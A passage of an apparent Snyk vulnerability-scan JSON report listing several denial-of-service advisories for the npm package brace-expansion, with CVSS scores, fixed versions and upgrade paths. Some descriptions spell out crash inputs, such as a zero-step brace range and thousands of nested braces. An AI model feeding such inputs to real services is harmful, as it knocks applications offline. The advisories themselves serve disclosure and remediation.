"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"pacote@18.0.6",
"npm-packlist@8.0.2",
"ignore-walk@6.0.5",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.8.2",
"@sigstore/tuf@2.3.4",
"tuf-js@2.2.1",
"@tufjs/models@2.0.1",
"minimatch@9.0.9",
"brace-expansion@2.1.7"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
